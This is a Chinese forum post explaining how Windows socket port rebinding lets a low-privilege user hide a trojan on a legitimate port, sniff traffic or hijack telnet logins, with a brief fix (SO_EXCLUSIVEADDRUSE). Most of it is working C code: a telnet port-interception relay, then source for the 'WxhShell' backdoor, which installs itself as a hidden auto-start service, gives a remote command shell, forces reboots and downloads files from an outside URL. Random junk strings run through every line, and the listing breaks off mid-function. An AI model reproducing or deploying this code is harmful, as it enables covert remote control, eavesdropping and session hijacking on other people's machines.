社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11988阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;+] mcgN!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =V~p QbZ  
6U5L>sQ  
  saddr.sin_family = AF_INET; RhR{EO  
 PNY"Lqj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V:HxRMF2X  
@ -CZa^g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l Os91+.%  
o0nd]"q?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wm~35cF(  
<y[LdB/a  
  这意味着什么?意味着可以进行如下的攻击: 4\ R2\  
-l)vl<}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [Ak L6  
V .+ mK|)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4H'\nsM  
x9Um4!/t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }-QFMPXhG  
I^S gWC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DCr&%)Ll  
jez=q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mh&wvT<:{  
6BK-(>c(6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k?]`PUrV  
/vC|_G|{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =y+gS%o$  
sI\v}$(~  
  #include UW%zR5q  
  #include T40&a(hXQ  
  #include EQ< qN<uW  
  #include    Z./$}tVUG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %;S T7  
  int main() E;m]RtvH  
  { VRden>vKN  
  WORD wVersionRequested; CqK&J /8  
  DWORD ret; Kz>bfq7  
  WSADATA wsaData; 0?c2=Y   
  BOOL val; WOBLgM,|  
  SOCKADDR_IN saddr;  *-Y`7=^$  
  SOCKADDR_IN scaddr; ZYRZ$87jZ  
  int err; 5B6twn~[  
  SOCKET s; \%& BK.t  
  SOCKET sc; ybk~m  
  int caddsize; t<=Ru*p  
  HANDLE mt; zv[$ N,  
  DWORD tid;   A#NJ8_  
  wVersionRequested = MAKEWORD( 2, 2 ); _mSDz=!Z3  
  err = WSAStartup( wVersionRequested, &wsaData ); /bm2v;  
  if ( err != 0 ) { \tR](, /  
  printf("error!WSAStartup failed!\n"); V+`gkWe/  
  return -1; yC#%fgQ r  
  } -_@zyF<G  
  saddr.sin_family = AF_INET; ].ZfTrM]  
   >Sc)?[H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _[%2QwAUj*  
J>D+/[mFt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ctg U  
  saddr.sin_port = htons(23); S7oPdzcU-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _{Z!$q6,  
  { `Xs3^FJt  
  printf("error!socket failed!\n"); a ]~Rp  
  return -1; ]'IZbx:  
  } /wAx#[c[  
  val = TRUE; Nk JOD3>U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  9t$#!2z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *Wbs{>&No  
  { zEM  c)  
  printf("error!setsockopt failed!\n"); {L6@d1u  
  return -1; b0VEMu81k  
  } Q[PVkZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8Dy5g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B'NtG84  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 69q#Zw[,,  
FZFYwU\~.L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QK~44;LVIJ  
  { FS'|e?WU  
  ret=GetLastError(); 8-#_xsZ^;  
  printf("error!bind failed!\n"); ov3FKMG?  
  return -1; PI G3kJ  
  } nm#ISueh  
  listen(s,2); y  J|/^qs  
  while(1) 1R-1#<a>&  
  { IvZ,|R?  
  caddsize = sizeof(scaddr); D;1?IeS  
  //接受连接请求 `GDWy^-Q+!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -G'U\EXT  
  if(sc!=INVALID_SOCKET) UY5wef2sF  
  { 8'sT zB]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }H5~@c$  
  if(mt==NULL) 7!qO*r  
  { xdLMy#U2  
  printf("Thread Creat Failed!\n"); CJa`[;i0y  
  break; pH9xyN[:a  
  } isBtJ7\Sc  
  } Bm>>-nG;  
  CloseHandle(mt); rtSG- _[i  
  } ]3D>ai?  
  closesocket(s); gPE` mE  
  WSACleanup(); 6y+_x'  
  return 0; hr@kU x  
  }   $.+_f,tU  
  DWORD WINAPI ClientThread(LPVOID lpParam) kuq&8f~!  
  { ayGcc`  
  SOCKET ss = (SOCKET)lpParam; z@<OR$/`L  
  SOCKET sc; u+7S/9q8  
  unsigned char buf[4096]; REg&[e+%  
  SOCKADDR_IN saddr; J#'8]p3E  
  long num; !-veL1r  
  DWORD val; @D[tljc^  
  DWORD ret; v:F_! Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AAXlBY6Y-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fzdWM:g  
  saddr.sin_family = AF_INET; eIDrN%3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xi~7pH  
  saddr.sin_port = htons(23); H*H~~yQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MD):g @  
  { @?2ES@G+Ji  
  printf("error!socket failed!\n"); )FdS;]  
  return -1; .vnQZ*6  
  } { 1eW*9  
  val = 100; P#!^9)3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |NdWx1  
  { $ucDz f=o  
  ret = GetLastError(); PyoIhe&ep  
  return -1; H/2dVUU  
  } | LX Vf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]?7q%7-e.a  
  { h/oC9?v  
  ret = GetLastError(); rD;R9b"J  
  return -1; Nov)'2g7G  
  } BROn2aSx%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rRvZG&k  
  { `Sx1?@8(  
  printf("error!socket connect failed!\n"); =OeLF  
  closesocket(sc); gs"w 0[$  
  closesocket(ss); I}sb0 Q&  
  return -1; _. &N@k  
  } ["_+~*  
  while(1) gF>t+"+ x  
  { im3BQIPR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4%$#   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 it$w.v+W7V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 } *jmW P  
  num = recv(ss,buf,4096,0); %a:>3! +  
  if(num>0) hHk9O?  
  send(sc,buf,num,0); $KVCEe!X  
  else if(num==0) i7b^b>B|e  
  break; :w<Ga8\tZ  
  num = recv(sc,buf,4096,0); vlqL  
  if(num>0) Z8ds`KZM  
  send(ss,buf,num,0); #9glGPR(  
  else if(num==0) `aDVN_h{6  
  break; D0}r4eA  
  } l4> c  
  closesocket(ss); ny"z<N&}/  
  closesocket(sc); S}P rgw/  
  return 0 ; mb>8=hMg  
  } r+!29  
u[HamGxx$u  
0V ZC7@  
========================================================== 4(dgunP  
mpNS}n6  
下边附上一个代码,,WXhSHELL ?_7iL?  
&;naaV_2T  
========================================================== TT oW>RP#  
1+#E|YWJ  
#include "stdafx.h" N;v]ypak  
[pC2#_}  
#include <stdio.h> W2&(:C8V@  
#include <string.h> \30rF]F`l  
#include <windows.h> N/zP!%L  
#include <winsock2.h> NM"5.   
#include <winsvc.h> YrsE 88QqI  
#include <urlmon.h> q?qH7={,eu  
F_Gc_eT  
#pragma comment (lib, "Ws2_32.lib") RF= $SMTk  
#pragma comment (lib, "urlmon.lib") ^ X-6j[".  
P  Ij  
#define MAX_USER   100 // 最大客户端连接数 ?vfZ>7Q  
#define BUF_SOCK   200 // sock buffer Am|)\/K+Z  
#define KEY_BUFF   255 // 输入 buffer <1#hX(Q  
81H9d6hqcD  
#define REBOOT     0   // 重启 S%j W} v';  
#define SHUTDOWN   1   // 关机 X"sJiFS  
H*P[tyz$  
#define DEF_PORT   5000 // 监听端口 L_tjclk0J  
@)C.IQ~  
#define REG_LEN     16   // 注册表键长度 `pjB^--w  
#define SVC_LEN     80   // NT服务名长度 p<<dj%  
#;= sJ[m4  
// 从dll定义API Tol"D2cyf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X/_89<&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &xpvHKJl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,n2"N5{jw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "A> _U<Y  
\ B'AXv 6  
// wxhshell配置信息 G +&pq  
struct WSCFG { e$Mvl=NYp\  
  int ws_port;         // 监听端口  \EXa 9X2  
  char ws_passstr[REG_LEN]; // 口令 qLPuKIF  
  int ws_autoins;       // 安装标记, 1=yes 0=no V%B~ q`4  
  char ws_regname[REG_LEN]; // 注册表键名 -Iis/Xw:  
  char ws_svcname[REG_LEN]; // 服务名 y\ })C-&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gT(8.<h8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Wo!NG:V5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cbYQ';{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <kk!nsI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,pY:kQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G^';9 UK  
EywBT  
}; G)q;)n;*=  
ia (&$a8X  
// default Wxhshell configuration :cf#Tpq"  
struct WSCFG wscfg={DEF_PORT, r@}8TE*|P  
    "xuhuanlingzhe", FU(2,Vl  
    1, gLRDd~H  
    "Wxhshell", Omi/sKFMi  
    "Wxhshell", gZiwXb  
            "WxhShell Service", X:lStO#5  
    "Wrsky Windows CmdShell Service", Y^nm{;G+  
    "Please Input Your Password: ", GKKDO+A=!  
  1, ?\kuP ?\  
  "http://www.wrsky.com/wxhshell.exe", U^eos;:s8  
  "Wxhshell.exe" +* j8[sz  
    }; ,"F0#5  
=kf"%vFV  
// 消息定义模块 |MOz> 1<a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ddN G :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :>/6:c?atG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CYlS8j  
char *msg_ws_ext="\n\rExit."; LJom+PxF$x  
char *msg_ws_end="\n\rQuit."; *<[zG7+&[  
char *msg_ws_boot="\n\rReboot..."; t 4VeXp6  
char *msg_ws_poff="\n\rShutdown..."; 1=,y +Xpw  
char *msg_ws_down="\n\rSave to "; 7#c4.9b?  
WEJ-K<A(  
char *msg_ws_err="\n\rErr!"; !iq|sXs  
char *msg_ws_ok="\n\rOK!"; #G_'5{V  
T|0+o+i  
char ExeFile[MAX_PATH]; 8.>himL  
int nUser = 0; ]G D` f  
HANDLE handles[MAX_USER]; AF8:bk,R  
int OsIsNt; eco&!R[G  
[ [pt~=0  
SERVICE_STATUS       serviceStatus; K- $,:28  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &YcOmI/MM  
N:okt)q:%  
// 函数声明 3Fxr=  
int Install(void); J .VZD  
int Uninstall(void); G')zDx  
int DownloadFile(char *sURL, SOCKET wsh); nt+OaXe5D  
int Boot(int flag); Br15S};Ce  
void HideProc(void); /[D_9  
int GetOsVer(void); @OGG]0 J  
int Wxhshell(SOCKET wsl); + ~5P7dh6  
void TalkWithClient(void *cs); Nd+1r|e'  
int CmdShell(SOCKET sock); ^8A [ ^cgq  
int StartFromService(void); H9PnJr8 \  
int StartWxhshell(LPSTR lpCmdLine); `R>z{-@=  
PEm2w#X%L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <hj2'd U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D,R',(3  
#9Jr?K43  
// 数据结构和表定义 4obW>  
SERVICE_TABLE_ENTRY DispatchTable[] = > <Zu+HX  
{ T1*.3_wtP  
{wscfg.ws_svcname, NTServiceMain}, h6OQeZ.  
{NULL, NULL} AS@(]T#R  
}; K5|~iW'  
dS3\P5D.*c  
// 自我安装 q\x.e.@  
int Install(void) # =tw ,S  
{ )5LT!14  
  char svExeFile[MAX_PATH]; HKJBR)T  
  HKEY key; R ZQH#+*t}  
  strcpy(svExeFile,ExeFile); *i^$xjOa  
e,VF;Br  
// 如果是win9x系统,修改注册表设为自启动 $Seh4  
if(!OsIsNt) { :i4(cap&}F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T'vI@i9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GCq4{_B\Q  
  RegCloseKey(key); VOZxLyj^9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oKCy,Ot<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lFnYQab  
  RegCloseKey(key); "n` z`{<n  
  return 0; LUId<We  
    } MO0NNVVi%U  
  } Z|$DchC  
} 3MFT P5~  
else { 8K?}!$fz  
YCh`V[0  
// 如果是NT以上系统,安装为系统服务 HXSryjF?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E V)H>kM  
if (schSCManager!=0) `Ucj_6&Tqs  
{  IPK1g3Z  
  SC_HANDLE schService = CreateService VGD~) z57  
  ( (0b\%;}  
  schSCManager, 7=^}{  
  wscfg.ws_svcname, k[ zyR  
  wscfg.ws_svcdisp, o]Ne|PEpO  
  SERVICE_ALL_ACCESS, Y;_F,4H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P.@dB.Ny  
  SERVICE_AUTO_START, 7Tdx*1 U  
  SERVICE_ERROR_NORMAL, }7 +%k/  
  svExeFile, qe{;EH*  
  NULL, 5l1R")0`t_  
  NULL, 7<!x:G?C  
  NULL, f^B'BioW(  
  NULL, {qi #  
  NULL _7Y-gy#\a  
  ); =3QhGFd  
  if (schService!=0) (b//YyqN  
  { >pLJ ,Z  
  CloseServiceHandle(schService); )MF@'zRK  
  CloseServiceHandle(schSCManager); SfC* ZM}<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &d2L9kTk  
  strcat(svExeFile,wscfg.ws_svcname); }bca-|N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $Y_S`#c@i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QJ;dw8  
  RegCloseKey(key); 1g{}O^ul  
  return 0; SA}Dkt&,  
    } = NZgbl  
  } f0sLe 3  
  CloseServiceHandle(schSCManager); 03v+eT  
} j;@a~bks6z  
} heou\;GI"  
+5*bU1}O  
return 1; fEXFnQ#  
} \ opM}qZ  
e[u}Vf  
// 自我卸载 TG$ #aX\'  
int Uninstall(void) >"b W'  
{ iSezrN  
  HKEY key; d; YKw1  
Slg *[r#  
if(!OsIsNt) { \^" Vqx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b.RU%Y#>\  
  RegDeleteValue(key,wscfg.ws_regname); /Tm+&Jd  
  RegCloseKey(key); 2A~o)7JaZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \]f+{d- &  
  RegDeleteValue(key,wscfg.ws_regname); 6_KvS  
  RegCloseKey(key); {:!>Y1w>  
  return 0; gR# k'   
  } M9R'ONYAa  
} Eqz|eS*6  
} (JlPe)Q5  
else { ]VKQm(,0  
eZ(ThA*2=t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gm:s;w-;v  
if (schSCManager!=0) %6uZb sa  
{ 4vWiOcJF!O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PB$beQ  
  if (schService!=0) !;,\HvEZYw  
  { jOzXyDq  
  if(DeleteService(schService)!=0) { x;yvv3-$  
  CloseServiceHandle(schService); &Jj|+P-lY  
  CloseServiceHandle(schSCManager); +S0aA Wal  
  return 0; _|I8+(~)  
  } ["Ts7;q9[  
  CloseServiceHandle(schService); {Z8GG  
  } UMRFTwY  
  CloseServiceHandle(schSCManager); lL:!d.{  
} 4E5;wH  
} M{G}-QK_.  
A_S7z*T  
return 1; JH]S'5X8K  
} $3 -QM  
Anyy  
// 从指定url下载文件 {guOAT- w  
int DownloadFile(char *sURL, SOCKET wsh) &mVClq  
{ e`g+Jf`AT  
  HRESULT hr; y@~ VE5N  
char seps[]= "/"; }8tF.QjR|  
char *token; wW*7  
char *file; 7ihcjyXB  
char myURL[MAX_PATH]; rHw#<oV  
char myFILE[MAX_PATH]; 8+|W%}  
s,#We} bv  
strcpy(myURL,sURL); 9zqo!&  
  token=strtok(myURL,seps); q`r| DcN~  
  while(token!=NULL) v%cCJ SO#  
  { B_ict)}ld  
    file=token; !xck ~EAS  
  token=strtok(NULL,seps); Z[*unIk  
  } lH=|Qu  
p2 1|  
GetCurrentDirectory(MAX_PATH,myFILE); <{k{Coy  
strcat(myFILE, "\\"); 3f^Pr  
strcat(myFILE, file); \h=*pAf  
  send(wsh,myFILE,strlen(myFILE),0); \OkZ\!<hg  
send(wsh,"...",3,0); |E?r+]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ph5{i2U0  
  if(hr==S_OK) N`efLOMl]  
return 0; @!dIa1Q"  
else  *1["x;A  
return 1; ?HPAX  
q( ~rk  
} :5&D 6  
37kFbR@x  
// 系统电源模块 li3,6{S#  
int Boot(int flag) *`"+J_   
{ #'1dCh vZ  
  HANDLE hToken; /Z?o%/bw:  
  TOKEN_PRIVILEGES tkp; _?O'A"  
LJ <pE;`d  
  if(OsIsNt) { gQ0,KYmI3_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3,q?WH%_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ``jNj1t{}  
    tkp.PrivilegeCount = 1; I?g}q,!]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IXtG 36O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Y`g$2SZ^8  
if(flag==REBOOT) { .kU^)H" l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $|g1 _;(G  
  return 0; ~) _Nh  
} lj}3TbM  
else { b/a\{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /lUfxc4  
  return 0; F|> 3gW  
} O>pX(DS L  
  } 4@fv%LOQo  
  else { .%n_{ab1  
if(flag==REBOOT) {  ,==_u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v}u]tl$,  
  return 0; =>5Lp  
} BM?!?  
else { kE<CuO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l,h`YIy  
  return 0; W>a}g[Ad  
} KX9IC 5pR  
} 7mYcO3{5{  
+^(_S9CO  
return 1; RD[P|4eY  
} J.h` 0$!  
/gF)msUF  
// win9x进程隐藏模块 ^OQP;5 #K  
void HideProc(void) 2LUsqL\m}.  
{ N2s"$Ttq  
}UsH#!9.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %pq.fZ I   
  if ( hKernel != NULL ) G?$o+Y'F  
  { ^L $`)Ja  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E<+ G5j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~{lb`M^]h  
    FreeLibrary(hKernel); X <8|uP4  
  } I ==)a6^  
'qT;Eht5  
return; c6vJ;iz  
} }nPt[77U_7  
*$%~/Q@]  
// 获取操作系统版本 *d=}HO/  
int GetOsVer(void) ^yB]_*WJ  
{ lgiKNZgB?  
  OSVERSIONINFO winfo;  CA igV$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^/E'Rf3[A  
  GetVersionEx(&winfo); ^AU-hVj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) trrNu  
  return 1; 0=HB!{ @  
  else &j:prc[W  
  return 0; }:faHLYT  
} 8[J%TWq%9  
]dGH i \  
// 客户端句柄模块 0'*{BAWx  
int Wxhshell(SOCKET wsl) ]*| hd/j  
{ 9*I[q[>9  
  SOCKET wsh; =JE<oVP8  
  struct sockaddr_in client; 3v_j*wy  
  DWORD myID; / Q@4HV  
eG(YORkR  
  while(nUser<MAX_USER) /~'C!so[v  
{ r~T!$Tb  
  int nSize=sizeof(client); LAk .f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j}.gK6Yq*  
  if(wsh==INVALID_SOCKET) return 1; C {*?  
LI}e_= E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gnN>Rl 5_  
if(handles[nUser]==0) 'Y2$9qy-L  
  closesocket(wsh); X HJdynt/  
else ]g$ky.;  
  nUser++; hd'QMr[;  
  } _Ml?cT/J.O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;C*2Djb*n  
^NU_Tp:2^  
  return 0; \,NT5>  
} U>!TM##1QD  
k8ILo)  
// 关闭 socket 4S 4MQ  
void CloseIt(SOCKET wsh) Nk -xnTZ"  
{ 8 t=H  
closesocket(wsh); *sp")h#Z  
nUser--; yj_/:eX  
ExitThread(0); 2*`kkS  
} P51cEhf  
FYik}wH]  
// 客户端请求句柄 >yn?@ve@  
void TalkWithClient(void *cs) D#'CRJh;7  
{ $9\8?gS  
HHw&BNQG  
  SOCKET wsh=(SOCKET)cs; gLt6u|0q  
  char pwd[SVC_LEN]; E^n!h06~G  
  char cmd[KEY_BUFF]; @dK_w 'W  
char chr[1]; lW-G]V  
int i,j; A ,0}bFK  
 Hvz;[!  
  while (nUser < MAX_USER) { %fld<O  
&0T7Uv-`  
if(wscfg.ws_passstr) { v,Kum<oi?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kPy7e~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Usmm8!K  
  //ZeroMemory(pwd,KEY_BUFF); 8?L-3/  
      i=0; ,~$sJ2 g7  
  while(i<SVC_LEN) { g,YF$:e  
BPW.&2?<  
  // 设置超时 @)Vb?|3  
  fd_set FdRead; .&]3wB~  
  struct timeval TimeOut; x!S}Y"  
  FD_ZERO(&FdRead); FiRe b3zR  
  FD_SET(wsh,&FdRead); A1B[5a*o!  
  TimeOut.tv_sec=8; _\dC<K *>  
  TimeOut.tv_usec=0; L8.A|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :twp95{R1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )<J #RgE  
3?aM\z;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Sd+CXS  
  pwd=chr[0]; ql.[Uq  
  if(chr[0]==0xd || chr[0]==0xa) { u7J:ipyiq2  
  pwd=0; 8}[<3K%*g  
  break; cc=_KYZ1k  
  } }<2|6 {  
  i++; r.LOj6c  
    } Pj56,qd>s  
\A!I ln  
  // 如果是非法用户,关闭 socket ,lCFe0>k!=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FLsJ<C~/~  
} Y -BZV |  
KvPLA{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -H\j-k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?o]NV  
!f!YMpN  
while(1) { !eb{#9S*  
\l[AD-CZPh  
  ZeroMemory(cmd,KEY_BUFF); N-}OmcO]e  
 k_^ 4NU  
      // 自动支持客户端 telnet标准   k|]l2zlT  
  j=0; "j&p3  
  while(j<KEY_BUFF) { =RWY0|f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DKlHXEt>  
  cmd[j]=chr[0]; 9*"K+t:  
  if(chr[0]==0xa || chr[0]==0xd) { Q.8^F  
  cmd[j]=0; mT j  
  break; qncZpXw^  
  } $WE _aNfja  
  j++; %0815 5M  
    } <T'fJcR  
b5|l8<\  
  // 下载文件 h52+f  
  if(strstr(cmd,"http://")) { Pa; *%7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cx) N;x  
  if(DownloadFile(cmd,wsh)) h4slQq~K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!?QQT,!)  
  else h_Er$ZT64  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Wm'~y>  
  } g*9&3ov  
  else { 8z&/{:Z@pH  
f4X}F|!h  
    switch(cmd[0]) { ?q'r9Ehe  
  0icB2Jm:D}  
  // 帮助 JO87rG  
  case '?': { s.Mrd~(Drz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 03 v\v9<T  
    break; HW6Cz>WxOW  
  } 8,CL>*A  
  // 安装 0eCjK.   
  case 'i': { v!mP9c j  
    if(Install()) h^ K>(x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mEW]z  
    else s, #$o3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <dk9n}y<,  
    break; hB:+_[=Kj.  
    } e [F33%  
  // 卸载 Uzn  
  case 'r': { ,5sv;  
    if(Uninstall()) {5fq4A A6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); noT}NX%  
    else zzKU s"u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 127@ TN"  
    break; QX-M'ur99  
    } ~vR<UQz  
  // 显示 wxhshell 所在路径 >\5ZgC  
  case 'p': { uMC0XE|S  
    char svExeFile[MAX_PATH]; z8};(I>)  
    strcpy(svExeFile,"\n\r"); i)ibDrX!I  
      strcat(svExeFile,ExeFile); J2`OJsMwWe  
        send(wsh,svExeFile,strlen(svExeFile),0); O_SM!!,  
    break; 6& 9q6IIy  
    } ?N%5c%oF  
  // 重启 f K4M:_u  
  case 'b': { WN#dR~>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hp fTuydU  
    if(Boot(REBOOT)) =0U"07%}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!"NEh78H  
    else { \g@jc OKU  
